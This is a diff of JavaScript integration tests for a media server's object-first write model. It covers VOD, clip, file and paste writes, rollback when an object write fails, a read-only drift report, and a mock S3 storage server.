`/clips/${upId}`, { title: 'Better', visibility: 'public', auto_generated: 1 });-- assert.strictEqual(r.status, 200);-- ({ obj } = linked('clips', 'id', upId, 'clip update'));-- assert.strictEqual(obj.visibility, 'public');-- assert.deepStrictEqual([model.parseJson(obj.metadata, {}).title, model.parseJson(obj.metadata, {}).auto_generated], ['Better', true]);---- const doomedFile = path.join(process.env.CLIPS_PATH, 'doomed.webm');-- fs.writeFileSync(doomedFile, Buffer.alloc(700, 5));-- const doomed = Number(db.createClip({ app_id: 'live', vod_id: vodId, title: 'Doomed', file_path: doomedFile, status: 'ready' }).lastInsertRowid);-- const doomedObj = linked('clips', 'id', doomed, 'clip to delete').obj.id;-- assert.strictEqual((await call('DELETE', `/clips/${doomed}`)).status, 200);-- assert.strictEqual(model.getObject(doomedObj).lifecycle_status, 'deleted', 'a deleted row takes its object with it (trigger, same statement)');-- console.log('✅ clip writes (upload, create, re-cut ready/failed, update, delete) commit with their object');---- // ── 3. Files, screenshot pastes, avatars ──-- r = await call('POST', '/files', form('file', Buffer.from('hello object model'), 'text/plain', 'notes.txt'));-- assert.strictEqual(r.status, 201);-- const fileKey = r.body.key;-- ({ obj } = linked('files', 'key', fileKey, 'file upload'));-- assert.strictEqual(obj.content_hash, crypto.createHash('sha256').update('hello object model').digest('hex'));-- const spare = await call('POST', '/files', form('file', Buffer.from('spare'), 'text/plain', 'spare.txt'));-- const spareObj = linked('files', 'key', spare.body.key, 'file to delete').obj.id;-- assert.strictEqual((await call('DELETE', `/files/${encodeURIComponent(spare.body.key)}`)).status, 200);-- assert.strictEqual(model.getObject(spareObj).lifecycle_status, 'deleted');---- r = await call('POST', '/pastes', form('screenshot', png, 'image/png', 'shot.png', { title: 'Shot', visibility: 'unlisted' }));-- assert.strictEqual(r.status, 201);-- const slug = r.body.slug;-- ({ obj } = linked('pastes', 'slug', slug, 'screenshot paste'));-- assert.deepStrictEqual([obj.kind, obj.visibility, obj.legacy_ref], ['screenshot', 'unlisted', `legacy:live:paste:${slug}`]);-- assert.strictEqual((await call('PUT', `/pastes/${slug}`, { title: 'Shot 2', visibility: 'private' })).status, 200);-- assert.strictEqual(linked('pastes', 'slug', slug, 'paste update').obj.visibility, 'private');-- assert.strictEqual((await call('POST', '/pastes/bulk', { slugs: [slug], action: 'public' })).status, 200);-- assert.strictEqual(linked('pastes', 'slug', slug, 'paste bulk').obj.visibility, 'public');-- const censor = await call('POST', `/pastes/${slug}/censor`, form('screenshot', png, 'image/png', 'censored.png'));-- assert.strictEqual(censor.status, 200);-- assert.strictEqual(linked('pastes', 'slug', slug, 'paste censor').obj.size_bytes, png.length);-- const text = await call('POST', '/pastes', { content: 'just text' });-- assert.strictEqual(db.get('SELECT object_id FROM pastes WHERE slug = ?', [text.body.slug]).object_id, null, 'a text paste has no bytes and no object');---- // Avatar ingest's write (server/avatars/ingest.js): the avatar row and its object together.-- const avatarFile = path.join(process.env.PASTES_PATH, 'avatar.webp');-- fs.writeFileSync(avatarFile, png);-- const avatarId = Number(db.withObject('paste', (x) => x.lastInsertRowid, () => db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, screenshot_path, metadata)-- VALUES ('network', 'av1', 42, 'screenshot', 'Avatar', '', 'text', 'unlisted', ?, ?)`, [avatarFile, JSON.stringify({ kind: 'avatar', mime_type: 'image/webp' })])).lastInsertRowid);-- assert.deepStrictEqual([linked('pastes', 'id', avatarId, 'avatar').obj.kind, linked('pastes', 'id', avatarId, 'avatar').obj.legacy_ref], ['avatar', 'legacy:network:avatar:av1']);-- console.log('✅ file, screenshot-paste and avatar writes commit with their object; deletes mark it deleted');---- const clean = noDrift('after every write path');-- assert.ok(clean.total_rows >= 8, 'the report checked the rows written above');---- // ── 4. Atomicity: an object write that fails takes the row write with it ──-- raw.exec(`CREATE TEMP TRIGGER t_refuse_object_insert BEFORE INSERT ON main.media_objects BEGIN SELECT RAISE(ABORT, 'object write refused (test)'); END;-- CREATE TEMP TRIGGER t_refuse_object_update BEFORE UPDATE ON main.media_objects BEGIN SELECT RAISE(ABORT, 'object write refused (test)'); END;`);-- const before = { vods: count('vods'), clips: count('clips'), files: count('files'), pastes: count('pastes'), objects: count('media_objects') };-- const unchanged = (label) => assert.deepStrictEqual({ vods: count('vods'), clips: count('clips'), files: count('files'), pastes: count('pastes'), objects: count('media_objects') }, before, label);---- assert.throws(() => db.createVod({ app_id: 'live', title: 'No object' }), /object write refused/);-- unchanged('createVod: neither row');-- assert.strictEqual((await call('POST', '/vods', { title: 'No object' })).status, 500);-- unchanged('POST /vods: neither row');-- assert.throws(() => db.createClip({ app_id: 'live', vod_id: vodId, title: 'No object', status: 'processing' }), /object write refused/);-- unchanged('createClip: neither row');-- assert.strictEqual((await call('POST', '/files', form('file', Buffer.from('never stored'), 'text/plain', 'never.txt'))).status, 500);-- unchanged('POST /files: neither row');-- assert.strictEqual((await call('POST', '/pastes', form('screenshot', png, 'image/png', 'never.png'))).status, 500);-- unchanged('POST /pastes screenshot: neither row');---- // Updates: the row keeps its old values when its object cannot follow.-- assert.throws(() => db.setVodVisibility(vodId, 'public'), /object write refused/);-- assert.strictEqual(db.get('SELECT visibility FROM vods WHERE id = ?', [vodId]).visibility, 'private', 'visibility change rolled back');-- assert.strictEqual((await call('PUT', `/clips/${upId}`, { title: 'Lost' })).status, 500);-- assert.strictEqual(db.get('SELECT title FROM clips WHERE id = ?', [upId]).title, 'Better', 'clip title rolled back');-- // The announce() path: a finalize whose object cannot be written commits no ready transition (and no event).-- raw.prepare("UPDATE vods SET is_recording = 1, health_status = 'unknown' WHERE id = ?").run(vodId);-- await assert.rejects(finalizeVod(vodId, { fromJob: true }), /object write refused/);-- assert.strictEqual(db.get('SELECT is_recording FROM vods WHERE id = ?', [vodId]).is_recording, 1, 'ready transition rolled back with its object');---- // A write that throws after its projection insert leaves neither row.-- assert.throws(() => db.withObject('vod', (x) => x.lastInsertRowid, () => {-- db.run("INSERT INTO vods (app_id, title) VALUES ('live', 'half')");-- throw new Error('crash after the insert');-- }), /crash after the insert/);-- unchanged('thrown after the insert: neither row');-- raw.exec('DROP TRIGGER temp.t_refuse_object_insert; DROP TRIGGER temp.t_refuse_object_update;');-- await finalizeVod(vodId, { fromJob: true });-- noDrift('after the refused writes');-- console.log('✅ a write whose object cannot be written leaves neither row (inserts, updates, announce path, a throw after the insert)');---- // ── 5. Drift report: read-only, finds planted drift ──-- raw.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path) VALUES (900, 'live', 3, 'Planted: no object', NULL)").run();-- const upObj = db.get('SELECT object_id FROM clips WHERE id = ?', [upId]).object_id;-- raw.prepare("UPDATE media_objects SET visibility = 'private' WHERE id = ?").run(upObj);-- const fileObj = db.get('SELECT object_id FROM files WHERE key = ?', [fileKey]).object_id;-- raw.prepare('UPDATE media_objects SET size_bytes = 1, owner_user_id = 99 WHERE id = ?').run(fileObj);-- raw.prepare('UPDATE pastes SET object_id = NULL WHERE slug = ?').run(slug);-- const cutObj = db.get('SELECT object_id FROM clips WHERE id = ?', [cutId]).object_id;-- raw.prepare("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?").run(cutObj);---- const snapshot = () => ['vods', 'clips', 'files', 'pastes', 'media_objects', 'media_locations', 'media_variants', 'media_relationships']-- .map(t => JSON.stringify(raw.prepare(`SELECT * FROM ${t} ORDER BY rowid`).all())).join('|');-- const snap = snapshot();-- const writesBefore = raw.prepare('SELECT total_changes() AS n').get().n;-- const rep = drift.buildReport(q, { limit: 5 });-- assert.strictEqual(raw.prepare('SELECT total_changes() AS n').get().n, writesBefore, 'the report issues no write');-- assert.strictEqual(snapshot(), snap, 'nothing changed');---- assert.strictEqual(rep.total_drift, 5, drift.formatReport(rep));-- assert.deepStrictEqual([rep.kinds.vod.missing, rep.kinds.clip.mismatch, rep.kinds.file.mismatch, rep.kinds.screenshot.unlinked], [1, 2, 1, 1]);-- assert.deepStrictEqual([rep.field_counts.visibility, rep.field_counts.size_bytes, rep.field_counts.owner_user_id, rep.field_counts.lifecycle_status], [1, 1, 1, 1]);-- const ex = (kind, id) => rep.kinds[kind].examples.find(e => String(e.id) === String(id));-- assert.deepStrictEqual(ex('vod', 900).problems, ['missing']);-- assert.deepStrictEqual(ex('clip', upId).diff.visibility, { row: 'public', object: 'private' });-- assert.deepStrictEqual(ex('clip', cutId).diff.lifecycle_status, { row: 'failed', object: 'deleted' });-- assert.deepStrictEqual(Object.keys(ex('file', fileKey).diff).sort(), ['owner_user_id', 'size_bytes']);-- assert.deepStrictEqual(ex('screenshot', db.get('SELECT id FROM pastes WHERE slug = ?', [slug]).id).problems, ['unlinked']);-- assert.strictEqual(rep.kinds.vod.skipped, 1, 'the clips-only recording is skipped, not drift');-- assert.strictEqual(drift.buildReport(q, { appId: 'network' }).total_drift, 0, '--app narrows the report');-- assert.match(drift.formatReport(rep), /total drift: 5 of \d+ row\(s\)/);---- // The script: the database opened read-only, exit 0 whatever it finds (and on an error).-- const script = path.join(__dirname, '..', 'scripts', 'object-drift-report.js');-- const out = JSON.parse(execFileSync(process.execPath, [script, '--db', process.env.DB_PATH, '--json', '--limit', '1'], { env: process.env, encoding: 'utf8' }));-- assert.strictEqual(out.total_drift, 5);-- assert.ok(Object.values(out.kinds).every(k => k.examples.length <= 1), '--limit caps the examples per kind');-- assert.match(execFileSync(process.execPath, [script, '--db', process.env.DB_PATH], { env: process.env, encoding: 'utf8' }), /clip examples \(2 of 2\)/);-- execFileSync(process.execPath, [script, '--db', path.join(tmp, 'missing.db')], { env: process.env, stdio: 'ignore' }); // throws on a non-zero exit-- assert.strictEqual(snapshot(), snap, 'the script changed nothing either');---- // Re-projecting the planted rows clears the drift the report listed.-- for (const id of [900]) model.sync('vod', id);-- model.sync('clip', upId); model.sync('clip', cutId); model.sync('file', fileKey);-- model.sync('paste', db.get('SELECT id FROM pastes WHERE slug = ?', [slug]).id);-- noDrift('after re-projecting the planted drift');-- console.log('✅ drift report: read-only (report and script), counts per kind with examples, finds missing / unlinked / mismatched objects');---- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('✅ All object-first write tests passed');-- process.exit(0);++++ const app = express();++ app.use(express.json({ limit: '5mb' }));++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));++ app.use('/api/v1/:app/files', require('../server/files/routes'));++ app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));++ app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));++ const server = http.createServer(app);++++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}/api/v1/live`;++ const auth = { authorization: 'Bearer live-key-object-first' };++ const call = async (method, p, body) => {++ const headers = { ...auth };++ if (body && !(body instanceof FormData)) headers['content-type'] = 'application/json';++ const r = await fetch(base + p, { method, headers, body: body && !(body instanceof FormData) ? JSON.stringify(body) : body });++ return { status: r.status, body: await r.json().catch(() => null) };++ };++ const form = (field, bytes, type, name, extra = {}) => {++ const f = new FormData();++ for (const [k, v] of Object.entries(extra)) f.append(k, String(v));++ f.append(field, new Blob([bytes], { type }), name);++ return f;++ };++ const png = await sharp({ create: { width: 24, height: 24, channels: 3, background: '#3366ff' } }).png().toBuffer();++++ // ── 1. VOD: create, chunk upload, metadata/visibility, finalize, thumbnail, health, tier move ──++ let r = await call('POST', '/vods', { title: 'First', user_id: 7, visibility: 'unlisted' });++ assert.strictEqual(r.status, 201);++ const vodId = r.body.id;++ let { obj } = await linked('vods', 'id', vodId, 'vod create');++ assert.deepStrictEqual([obj.kind, obj.visibility, obj.lifecycle_status, obj.legacy_ref], ['vod', 'unlisted', 'uploading', `legacy:live:vod:${vodId}`]);++++ r = await call('POST', '/vods', { title: 'Clips only', clips_only: true });++ assert.strictEqual(r.status, 201);++ const clipsOnly = await db.get('SELECT * FROM vods WHERE id = ?', [r.body.id]);++ assert.strictEqual(clipsOnly.clips_only, 1, 'clips_only written with the row');++ assert.strictEqual(clipsOnly.object_id, null, 'a clips-only recording has no object (skipped by design)');++++ r = await call('POST', `/vods/${vodId}/chunks`, form('chunk', Buffer.alloc(40000, 1), 'video/webm', 'a.webm'));++ assert.strictEqual(r.body.status, 'created');++ ({ obj } = await linked('vods', 'id', vodId, 'first chunk'));++ const loc = async () => (await model.listLocations(obj.id)).find(l => l.provider === 'local');++ assert.strictEqual((await loc()).state, 'present', 'the recording file is a present local copy at once');++ assert.strictEqual(obj.size_bytes, 40000);++ r = await call('POST', `/vods/${vodId}/chunks`, form('chunk', Buffer.alloc(8000, 2), 'video/webm', 'b.webm'));++ assert.strictEqual(r.body.status, 'appended');++ ({ obj } = await linked('vods', 'id', vodId, 'chunk progress'));++ assert.strictEqual(obj.size_bytes, 48000, 'progress updates carry the object size with them');++++ r = await call('PUT', `/vods/${vodId}`, { title: 'Renamed', visibility: 'private' });++ assert.strictEqual(r.status, 200);++ ({ obj } = await linked('vods', 'id', vodId, 'vod update'));++ assert.strictEqual(obj.visibility, 'private');++ assert.strictEqual(model.parseJson(obj.metadata, {}).title, 'Renamed');++++ const done = await finalizeVod(vodId);++ assert.ok(done && done.health_status === 'ok');++ ({ obj } = await linked('vods', 'id', vodId, 'finalize'));++ assert.strictEqual(obj.lifecycle_status, 'ready', 'the ready transition commits with its object');++ assert.strictEqual(model.parseJson(obj.metadata, {}).duration_seconds, 30);++++ r = await call('POST', `/thumbnails/vod/${vodId}`, { image: png.toString('base64') });++ assert.strictEqual(r.status, 200);++ ({ obj } = await linked('vods', 'id', vodId, 'thumbnail'));++ const thumbName = path.basename(r.body.url);++ const thumbObj = await model.getObjectByLegacyRef(`legacy:live:thumbnail:${thumbName}`);++ assert.ok(thumbObj, 'the thumbnail object is written with the row');++ assert.strictEqual((await model.getVariant(obj.id, 'thumbnail')).derived_object_id, thumbObj.id);++ assert.deepStrictEqual([thumbObj.visibility, thumbObj.size_bytes], ['unlisted', png.length], 'a private VOD\'s thumbnail is unlisted');++++ await db.updateVodHealth(vodId, { status: 'corrupt', issues: ['test'], quarantine: true });++ assert.strictEqual((await linked('vods', 'id', vodId, 'health')).obj.lifecycle_status, 'failed');++ await db.updateVodHealth(vodId, { status: 'ok', issues: [] });++++ await model.afterTierMove(vodId, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/x.webm' WHERE id = ?", [vodId]));++ ({ obj } = await linked('vods', 'id', vodId, 'tier move'));++ assert.strictEqual(obj.canonical_provider, 'b2');++ assert.strictEqual((await model.listLocations(obj.id)).find(l => l.provider === 'b2').state, 'present', 'the verified copy is marked with the flip');++++ // A ghost row (a recording that never produced a file) gets its object as it is quarantined.++ await raw.prepare("INSERT INTO vods (id, app_id, title, created_at) OVERRIDING SYSTEM VALUE VALUES (500, 'live', 'ghost', datetime('now', '-2 hours')) RETURNING id").run();++ assert.strictEqual(await vodStorage.reconcileGhosts(), 1);++ assert.strictEqual((await linked('vods', 'id', 500, 'ghost quarantine')).obj.lifecycle_status, 'failed');++ console.log('✅ VOD writes (create, chunks, update, finalize, thumbnail, health, tier move, ghost quarantine) commit with their object');++++ // ── 2. Clips: upload, create + re-cut (processing -> ready | failed), update, delete ──++ r = await call('POST', '/clips', form('video', Buffer.alloc(5000, 3), 'video/webm', 'c.webm', { title: 'Up', vod_id: vodId, visibility: 'private' }));++ assert.strictEqual(r.status, 201);++ const upId = r.body.id;++ ({ obj } = await linked('clips', 'id', upId, 'clip upload'));++ assert.deepStrictEqual([obj.kind, obj.visibility, obj.lifecycle_status, obj.size_bytes], ['clip', 'private', 'ready', 5000]);++++ const cutId = Number((await db.createClip({ app_id: 'live', vod_id: vodId, user_id: 7, title: 'Cut', start_time: 1, end_time: 6, duration_seconds: 5, visibility: 'unlisted', status: 'processing' })).lastInsertRowid);++ ({ obj } = await linked('clips', 'id', cutId, 'clip create'));++ assert.deepStrictEqual([obj.visibility, obj.lifecycle_status], ['unlisted', 'uploading']);++ const cutFile = path.join(process.env.CLIPS_PATH, 'cut.webm');++ fs.writeFileSync(cutFile, Buffer.alloc(6000, 4));++ const realResolve = vodStorage.resolveMediaSource;++ const realCut = cutter.cutClipFile;++ vodStorage.resolveMediaSource = async () => ({ kind: 'file', value: '/src.webm' });++ cutter.cutClipFile = async () => ({ ok: true, filePath: cutFile, duration: 5 });++ assert.strictEqual((await clipJobs.recutClip(cutId)).ok, true);++ ({ obj } = await linked('clips', 'id', cutId, 'clip ready'));++ assert.deepStrictEqual([obj.lifecycle_status, obj.size_bytes], ['ready', 6000], 'the ready transition (announce) commits with its object');++ vodStorage.resolveMediaSource = async () => null;++ assert.strictEqual((await clipJobs.recutClip(cutId)).ok, false);++ assert.strictEqual((await linked('clips', 'id', cutId, 'clip failed')).obj.lifecycle_status, 'failed');++ vodStorage.resolveMediaSource = realResolve;++ cutter.cutClipFile = realCut;++++ r = await call('PUT', `/clips/${upId}`, { title: 'Better', visibility: 'public', auto_generated: 1 });++ assert.strictEqual(r.status, 200);++ ({ obj } = await linked('clips', 'id', upId, 'clip update'));++ assert.strictEqual(obj.visibility, 'public');++ assert.deepStrictEqual([model.parseJson(obj.metadata, {}).title, model.parseJson(obj.metadata, {}).auto_generated], ['Better', true]);++++ const doomedFile = path.join(process.env.CLIPS_PATH, 'doomed.webm');++ fs.writeFileSync(doomedFile, Buffer.alloc(700, 5));++ const doomed = Number((await db.createClip({ app_id: 'live', vod_id: vodId, title: 'Doomed', file_path: doomedFile, status: 'ready' })).lastInsertRowid);++ const doomedObj = (await linked('clips', 'id', doomed, 'clip to delete')).obj.id;++ assert.strictEqual((await call('DELETE', `/clips/${doomed}`)).status, 200);++ assert.strictEqual((await model.getObject(doomedObj)).lifecycle_status, 'deleted', 'a deleted row takes its object with it (trigger, same statement)');++ console.log('✅ clip writes (upload, create, re-cut ready/failed, update, delete) commit with their object');++++ // ── 3. Files, screenshot pastes, avatars ──++ r = await call('POST', '/files', form('file', Buffer.from('hello object model'), 'text/plain', 'notes.txt'));++ assert.strictEqual(r.status, 201);++ const fileKey = r.body.key;++ ({ obj } = await linked('files', 'key', fileKey, 'file upload'));++ assert.strictEqual(obj.content_hash, crypto.createHash('sha256').update('hello object model').digest('hex'));++ const spare = await call('POST', '/files', form('file', Buffer.from('spare'), 'text/plain', 'spare.txt'));++ const spareObj = (await linked('files', 'key', spare.body.key, 'file to delete')).obj.id;++ assert.strictEqual((await call('DELETE', `/files/${encodeURIComponent(spare.body.key)}`)).status, 200);++ assert.strictEqual((await model.getObject(spareObj)).lifecycle_status, 'deleted');++++ r = await call('POST', '/pastes', form('screenshot', png, 'image/png', 'shot.png', { title: 'Shot', visibility: 'unlisted' }));++ assert.strictEqual(r.status, 201);++ const slug = r.body.slug;++ ({ obj } = await linked('pastes', 'slug', slug, 'screenshot paste'));++ assert.deepStrictEqual([obj.kind, obj.visibility, obj.legacy_ref], ['screenshot', 'unlisted', `legacy:live:paste:${slug}`]);++ assert.strictEqual((await call('PUT', `/pastes/${slug}`, { title: 'Shot 2', visibility: 'private' })).status, 200);++ assert.strictEqual((await linked('pastes', 'slug', slug, 'paste update')).obj.visibility, 'private');++ assert.strictEqual((await call('POST', '/pastes/bulk', { slugs: [slug], action: 'public' })).status, 200);++ assert.strictEqual((await linked('pastes', 'slug', slug, 'paste bulk')).obj.visibility, 'public');++ const censor = await call('POST', `/pastes/${slug}/censor`, form('screenshot', png, 'image/png', 'censored.png'));++ assert.strictEqual(censor.status, 200);++ assert.strictEqual((await linked('pastes', 'slug', slug, 'paste censor')).obj.size_bytes, png.length);++ const text = await call('POST', '/pastes', { content: 'just text' });++ assert.strictEqual((await db.get('SELECT object_id FROM pastes WHERE slug = ?', [text.body.slug])).object_id, null, 'a text paste has no bytes and no object');++++ // Avatar ingest's write (server/avatars/ingest.js): the avatar row and its object together.++ const avatarFile = path.join(process.env.PASTES_PATH, 'avatar.webp');++ fs.writeFileSync(avatarFile, png);++ const avatarId = Number((await db.withObject('paste', (x) => x.lastInsertRowid, async () => await db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, screenshot_path, metadata)++ VALUES ('network', 'av1', 42, 'screenshot', 'Avatar', '', 'text', 'unlisted', ?, ?) RETURNING id`, [avatarFile, JSON.stringify({ kind: 'avatar', mime_type: 'image/webp' })]))).lastInsertRowid);++ assert.deepStrictEqual([(await linked('pastes', 'id', avatarId, 'avatar')).obj.kind, (await linked('pastes', 'id', avatarId, 'avatar')).obj.legacy_ref], ['avatar', 'legacy:network:avatar:av1']);++ console.log('✅ file, screenshot-paste and avatar writes commit with their object; deletes mark it deleted');++++ const clean = await noDrift('after every write path');++ assert.ok(clean.total_rows >= 8, 'the report checked the rows written above');++++ // ── 4. Atomicity: an object write that fails takes the row write with it ──++ // Every object write fails (as a trigger refusing it would): the model's INSERT/UPDATE of media_objects throws.++ const realRun = db.run;++ db.run = async (sql, params) => {++ if (/^\s*(INSERT INTO|UPDATE) media_objects\b/.test(sql)) throw new Error('object write refused (test)');++ return await realRun(sql, params);++ };++ const before = { vods: await count('vods'), clips: await count('clips'), files: await count('files'), pastes: await count('pastes'), objects: await count('media_objects') };++ const unchanged = async (label) => assert.deepStrictEqual({ vods: await count('vods'), clips: await count('clips'), files: await count('files'), pastes: await count('pastes'), objects: await count('media_objects') }, before, label);++++ await assert.rejects(async () => await db.createVod({ app_id: 'live', title: 'No object' }), /object write refused/);++ await unchanged('createVod: neither row');++ assert.strictEqual((await call('POST', '/vods', { title: 'No object' })).status, 500);++ await unchanged('POST /vods: neither row');++ await assert.rejects(async () => await db.createClip({ app_id: 'live', vod_id: vodId, title: 'No object', status: 'processing' }), /object write refused/);++ await unchanged('createClip: neither row');++ assert.strictEqual((await call('POST', '/files', form('file', Buffer.from('never stored'), 'text/plain', 'never.txt'))).status, 500);++ await unchanged('POST /files: neither row');++ assert.strictEqual((await call('POST', '/pastes', form('screenshot', png, 'image/png', 'never.png'))).status, 500);++ await unchanged('POST /pastes screenshot: neither row');++++ // Updates: the row keeps its old values when its object cannot follow.++ await assert.rejects(async () => await db.setVodVisibility(vodId, 'public'), /object write refused/);++ assert.strictEqual((await db.get('SELECT visibility FROM vods WHERE id = ?', [vodId])).visibility, 'private', 'visibility change rolled back');++ assert.strictEqual((await call('PUT', `/clips/${upId}`, { title: 'Lost' })).status, 500);++ assert.strictEqual((await db.get('SELECT title FROM clips WHERE id = ?', [upId])).title, 'Better', 'clip title rolled back');++ // The announce() path: a finalize whose object cannot be written commits no ready transition (and no event).++ await raw.prepare("UPDATE vods SET is_recording = 1, health_status = 'unknown' WHERE id = ?").run(vodId);++ await assert.rejects(finalizeVod(vodId, { fromJob: true }), /object write refused/);++ assert.strictEqual((await db.get('SELECT is_recording FROM vods WHERE id = ?', [vodId])).is_recording, 1, 'ready transition rolled back with its object');++++ // A write that throws after its projection insert leaves neither row.++ await assert.rejects(async () => await db.withObject('vod', (x) => x.lastInsertRowid, async () => {++ await db.run("INSERT INTO vods (app_id, title) VALUES ('live', 'half') RETURNING id");++ throw new Error('crash after the insert');++ }), /crash after the insert/);++ await unchanged('thrown after the insert: neither row');++ db.run = realRun;++ await finalizeVod(vodId, { fromJob: true });++ await noDrift('after the refused writes');++ console.log('✅ a write whose object cannot be written leaves neither row (inserts, updates, announce path, a throw after the insert)');++++ // ── 5. Drift report: read-only, finds planted drift ──++ await raw.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path) OVERRIDING SYSTEM VALUE VALUES (900, 'live', 3, 'Planted: no object', NULL) RETURNING id").run();++ const upObj = (await db.get('SELECT object_id FROM clips WHERE id = ?', [upId])).object_id;++ await raw.prepare("UPDATE media_objects SET visibility = 'private' WHERE id = ?").run(upObj);++ const fileObj = (await db.get('SELECT object_id FROM files WHERE key = ?', [fileKey])).object_id;++ await raw.prepare('UPDATE media_objects SET size_bytes = 1, owner_user_id = 99 WHERE id = ?').run(fileObj);++ await raw.prepare('UPDATE pastes SET object_id = NULL WHERE slug = ?').run(slug);++ const cutObj = (await db.get('SELECT object_id FROM clips WHERE id = ?', [cutId])).object_id;++ await raw.prepare("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?").run(cutObj);++++ const snapshot = async () => (await Promise.all(['vods', 'clips', 'files', 'pastes', 'media_objects', 'media_locations', 'media_variants', 'media_relationships']++ .map(async t => JSON.stringify(await raw.prepare(`SELECT * FROM ${t} ORDER BY ${t}::text`).all())))).join('|');++ const snap = await snapshot();++ const rep = await drift.buildReport(q, { limit: 5 });++ assert.strictEqual(await snapshot(), snap, 'the report changed nothing');++++ assert.strictEqual(rep.total_drift, 5, drift.formatReport(rep));++ assert.deepStrictEqual([rep.kinds.vod.missing, rep.kinds.clip.mismatch, rep.kinds.file.mismatch, rep.kinds.screenshot.unlinked], [1, 2, 1, 1]);++ assert.deepStrictEqual([rep.field_counts.visibility, rep.field_counts.size_bytes, rep.field_counts.owner_user_id, rep.field_counts.lifecycle_status], [1, 1, 1, 1]);++ const ex = (kind, id) => rep.kinds[kind].examples.find(e => String(e.id) === String(id));++ assert.deepStrictEqual(ex('vod', 900).problems, ['missing']);++ assert.deepStrictEqual(ex('clip', upId).diff.visibility, { row: 'public', object: 'private' });++ assert.deepStrictEqual(ex('clip', cutId).diff.lifecycle_status, { row: 'failed', object: 'deleted' });++ assert.deepStrictEqual(Object.keys(ex('file', fileKey).diff).sort(), ['owner_user_id', 'size_bytes']);++ assert.deepStrictEqual(ex('screenshot', (await db.get('SELECT id FROM pastes WHERE slug = ?', [slug])).id).problems, ['unlinked']);++ assert.strictEqual(rep.kinds.vod.skipped, 1, 'the clips-only recording is skipped, not drift');++ assert.strictEqual((await drift.buildReport(q, { appId: 'network' })).total_drift, 0, '--app narrows the report');++ assert.match(drift.formatReport(rep), /total drift: 5 of \d+ row\(s\)/);++++ // The script: read-only, exit 0 whatever it finds.++ const { runScript } = require('./helpers/run-script');++ const script = path.join(__dirname, '..', 'scripts', 'object-drift-report.js');++ const r1 = await runScript(script, ['--json', '--limit', '1']);++ assert.strictEqual(r1.code, 0, r1.err);++ const out = JSON.parse(r1.out);++ assert.strictEqual(out.total_drift, 5);++ assert.ok(Object.values(out.kinds).every(k => k.examples.length <= 1), '--limit caps the examples per kind');++ assert.match((await runScript(script, [])).out, /clip examples \(2 of 2\)/);++ assert.strictEqual(await snapshot(), snap, 'the script changed nothing either');++++ // Re-projecting the planted rows clears the drift the report listed.++ for (const id of [900]) await model.sync('vod', id);++ await model.sync('clip', upId); await model.sync('clip', cutId); await model.sync('file', fileKey);++ await model.sync('paste', (await db.get('SELECT id FROM pastes WHERE slug = ?', [slug])).id);++ await noDrift('after re-projecting the planted drift');++ console.log('✅ drift report: read-only (report and script), counts per kind with examples, finds missing / unlinked / mismatched objects');++++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('✅ All object-first write tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -13,461 +13,466 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objtier-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--const sha256 = (b) => crypto.createHash('sha256').update(b).digest('hex');++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objtier-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ const sha256 = (b) => crypto.createHash('sha256').update(b).digest('hex');--const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };--const fault = { refusePut: null, corruptPut: null, keepOnDelete: null };--function decodeAwsChunked(buf) {-- const out = [];-- let i = 0;-- for (;;) {-- const nl = buf.indexOf('\r\n', i);-- const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);-- if (!size) break;-- out.push(buf.subarray(nl + 2, nl + 2 + size));-- i = nl + 2 + size + 2;-- }-- return Buffer.concat(out);--}--const s3 = http.createServer((req, res) => {-- const chunks = [];-- req.on('data', (c) => chunks.push(c));-- req.on('end', () => {-- const u = new URL(req.url, 'http://x');-- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');-- const key = rest.join('/');-- const store = buckets[bucket];-- if (!store) { res.writeHead(404); return res.end(); }-- if (!key && req.method === 'HEAD') { res.writeHead(200); return res.end(); }-- const obj = store.get(key);-- if (req.method === 'HEAD' || req.method === 'GET') {-- if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }-- res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'application/octet-stream' });-- return res.end(req.method === 'GET' ? obj : undefined);++ const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };++ const fault = { refusePut: null, corruptPut: null, keepOnDelete: null };++ function decodeAwsChunked(buf) {++ const out = [];++ let i = 0;++ for (;;) {++ const nl = buf.indexOf('\r\n', i);++ const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);++ if (!size) break;++ out.push(buf.subarray(nl + 2, nl + 2 + size));++ i = nl + 2 + size + 2;}-- if (req.method === 'PUT') {-- if (fault.refusePut === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }-- let body = Buffer.concat(chunks);-- if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);-- if (fault.corruptPut === bucket) { body = Buffer.from(body); body[0] ^= 0xff; } // same 